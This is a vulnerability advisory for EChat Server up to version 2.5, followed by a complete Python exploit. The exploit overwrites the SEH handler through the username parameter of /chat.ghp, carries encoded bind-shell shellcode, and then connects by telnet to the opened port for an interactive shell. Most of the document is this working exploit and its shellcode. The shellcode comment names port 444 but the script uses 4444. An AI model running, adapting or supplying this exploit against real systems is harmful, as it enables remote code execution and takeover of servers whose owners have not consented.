EChat Server 2.5 Buffer Overflow

`Information  
--------------------  
Name : EChat Server <= v2.5  
Software : E Chat Server  
Vendor Homepage : http://www.echatserver.com/  
Vulnerability Type : Remote Buffer Overflow Exploit  
Severity : High  
Researcher : Juan Sacco (Runlvl) <jsacco [at] insecurityresearch [dot] com>  
  
Description  
------------------  
  
EChat Server is prone to a remote buffer-overflow vulnerability  
because it fails to perform adequate boundary-checks on user-supplied  
data.  
Successfully exploiting this issue will allow an attacker to execute  
arbitrary code within the context of the affected application. Failed  
exploit attempts will result in a denial-of-service condition.  
  
  
Exploit example as follow  
-----------------------------  
  
#!/usr/bin/python  
# Easy Chat Server Server <= v2.5 Remote Buffer Overflow Exploit  
# Written by Juan Sacco (Runlvl)  
# Contact: [email protected]  
# Web site: http://www.insecurityresearch.com  
# Target tested: Windows XP SP3  
  
import string, sys  
import socket, httplib  
import telnetlib  
  
def howtousage():  
print "Sorry, required arguments: Host Port"  
sys.exit(-1)  
  
def run():  
try:  
# Basic structure: JUNK + NSEH + SEH + SHELLCODE  
Junk = '\x41' * 216 # 216 bytes of A  
nSEH = '\xEB\x06\x90\x90' # JMP 6 bytes short  
SEH = '\xE1\xB2\x01\x10' # 0x1001b2e1 pop edi; pop esi; ret  
  
# ShellCode Bind TCP PORT 444 Lenght 751 Encode : Alpha Upper  
ShellCode = (  
"\x89\xe1\xd9\xed\xd9\x71\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"  
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"  
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"  
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"  
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x39\x43\x30"  
"\x45\x50\x45\x50\x43\x50\x4c\x49\x4b\x55\x50\x31\x4e\x32\x45"  
"\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"  
"\x50\x52\x52\x34\x4c\x4b\x54\x32\x47\x58\x54\x4f\x4e\x57\x51"  
"\x5a\x56\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"  
"\x45\x31\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"  
"\x4d\x45\x51\x58\x47\x5a\x42\x4c\x30\x51\x42\x56\x37\x4c\x4b"  
"\x56\x32\x52\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c"  
"\x4b\x47\x30\x54\x38\x4d\x55\x49\x50\x52\x54\x51\x5a\x45\x51"  
"\x4e\x30\x56\x30\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x51"  
"\x30\x45\x51\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x56\x54"  
"\x4c\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50\x31\x49\x50\x4e"  
"\x4c\x49\x51\x58\x4f\x54\x4d\x45\x51\x58\x47\x56\x58\x4d\x30"  
"\x54\x35\x5a\x54\x54\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x47"  
"\x54\x52\x55\x4d\x32\x50\x58\x4c\x4b\x51\x48\x51\x34\x43\x31"  
"\x4e\x33\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45"  
"\x4c\x45\x51\x58\x53\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4e\x30"  
"\x4c\x49\x50\x44\x56\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x51"  
"\x49\x50\x5a\x50\x51\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"  
"\x4c\x4b\x54\x52\x5a\x4b\x4b\x36\x51\x4d\x52\x48\x56\x53\x47"  
"\x42\x43\x30\x45\x50\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f"  
"\x56\x34\x52\x48\x50\x4c\x52\x57\x56\x46\x45\x57\x4b\x4f\x4e"  
"\x35\x4e\x58\x5a\x30\x45\x51\x43\x30\x45\x50\x51\x39\x4f\x34"  
"\x51\x44\x56\x30\x52\x48\x51\x39\x4d\x50\x52\x4b\x45\x50\x4b"  
"\x4f\x4e\x35\x56\x30\x56\x30\x50\x50\x50\x50\x47\x30\x50\x50"  
"\x47\x30\x50\x50\x52\x48\x5a\x4a\x54\x4f\x49\x4f\x4d\x30\x4b"  
"\x4f\x49\x45\x4d\x59\x58\x47\x50\x31\x49\x4b\x56\x33\x52\x48"  
"\x43\x32\x43\x30\x54\x51\x51\x4c\x4b\x39\x4d\x36\x43\x5a\x54"  
"\x50\x56\x36\x50\x57\x52\x48\x49\x52\x49\x4b\x56\x57\x43\x57"  
"\x4b\x4f\x58\x55\x50\x53\x56\x37\x52\x48\x4f\x47\x4b\x59\x50"  
"\x38\x4b\x4f\x4b\x4f\x49\x45\x51\x43\x51\x43\x51\x47\x43\x58"  
"\x43\x44\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x51\x47\x4c"  
"\x49\x4f\x37\x52\x48\x52\x55\x52\x4e\x50\x4d\x45\x31\x4b\x4f"  
"\x4e\x35\x45\x38\x45\x33\x52\x4d\x45\x34\x45\x50\x4c\x49\x5a"  
"\x43\x51\x47\x51\x47\x51\x47\x50\x31\x5a\x56\x52\x4a\x45\x42"  
"\x51\x49\x56\x36\x4d\x32\x4b\x4d\x45\x36\x4f\x37\x51\x54\x51"  
"\x34\x47\x4c\x43\x31\x43\x31\x4c\x4d\x47\x34\x56\x44\x54\x50"  
"\x49\x56\x45\x50\x51\x54\x51\x44\x50\x50\x50\x56\x56\x36\x56"  
"\x36\x47\x36\x51\x46\x50\x4e\x51\x46\x50\x56\x56\x33\x51\x46"  
"\x43\x58\x52\x59\x58\x4c\x47\x4f\x4c\x46\x4b\x4f\x58\x55\x4c"  
"\x49\x4b\x50\x50\x4e\x51\x46\x47\x36\x4b\x4f\x56\x50\x45\x38"  
"\x54\x48\x4d\x57\x45\x4d\x43\x50\x4b\x4f\x49\x45\x4f\x4b\x4b"  
"\x4e\x54\x4e\x50\x32\x4b\x5a\x52\x48\x4e\x46\x4c\x55\x4f\x4d"  
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4b"  
"\x30\x4b\x4b\x4b\x50\x54\x35\x43\x35\x4f\x4b\x47\x37\x45\x43"  
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x41"  
"\x41")  
ShellCodePort = 4444  
CraftedBuffer = Junk + nSEH + SEH + ShellCode  
vulnerableURL = '/chat.ghp?username=' + CraftedBuffer +  
'&password=null&room=1&null=2'  
  
Connection = httplib.HTTPConnection(Host, Port)  
Connection.request('GET', vulnerableURL)  
Connection.close()  
  
print "Connecting to " + Host  
TelnetConnection = telnetlib.Telnet(Host, ShellCodePort)  
TelnetConnection.interact()  
  
except:  
print "Exploit connection closed"  
  
if __name__ == '__main__':  
print "Exploit EChat Server <= v2.5 Remote Buffer Overflow Exploit"  
print "Author: Juan Sacco (Runlvl)"  
  
try:  
Host = sys.argv[1]  
Port = sys.argv[2]  
except IndexError:  
howtousage()  
run()  
  
  
Author  
-------------------  
Juan Sacco (Runlvl) - http://www.insecurityresearch.com  
  
--   
_________________________________________________  
Insecurity Research - Security auditing and testing software  
Web: http://www.insecurityresearch.com  
Insect Pro 2.6.1 was released stay tunned  
`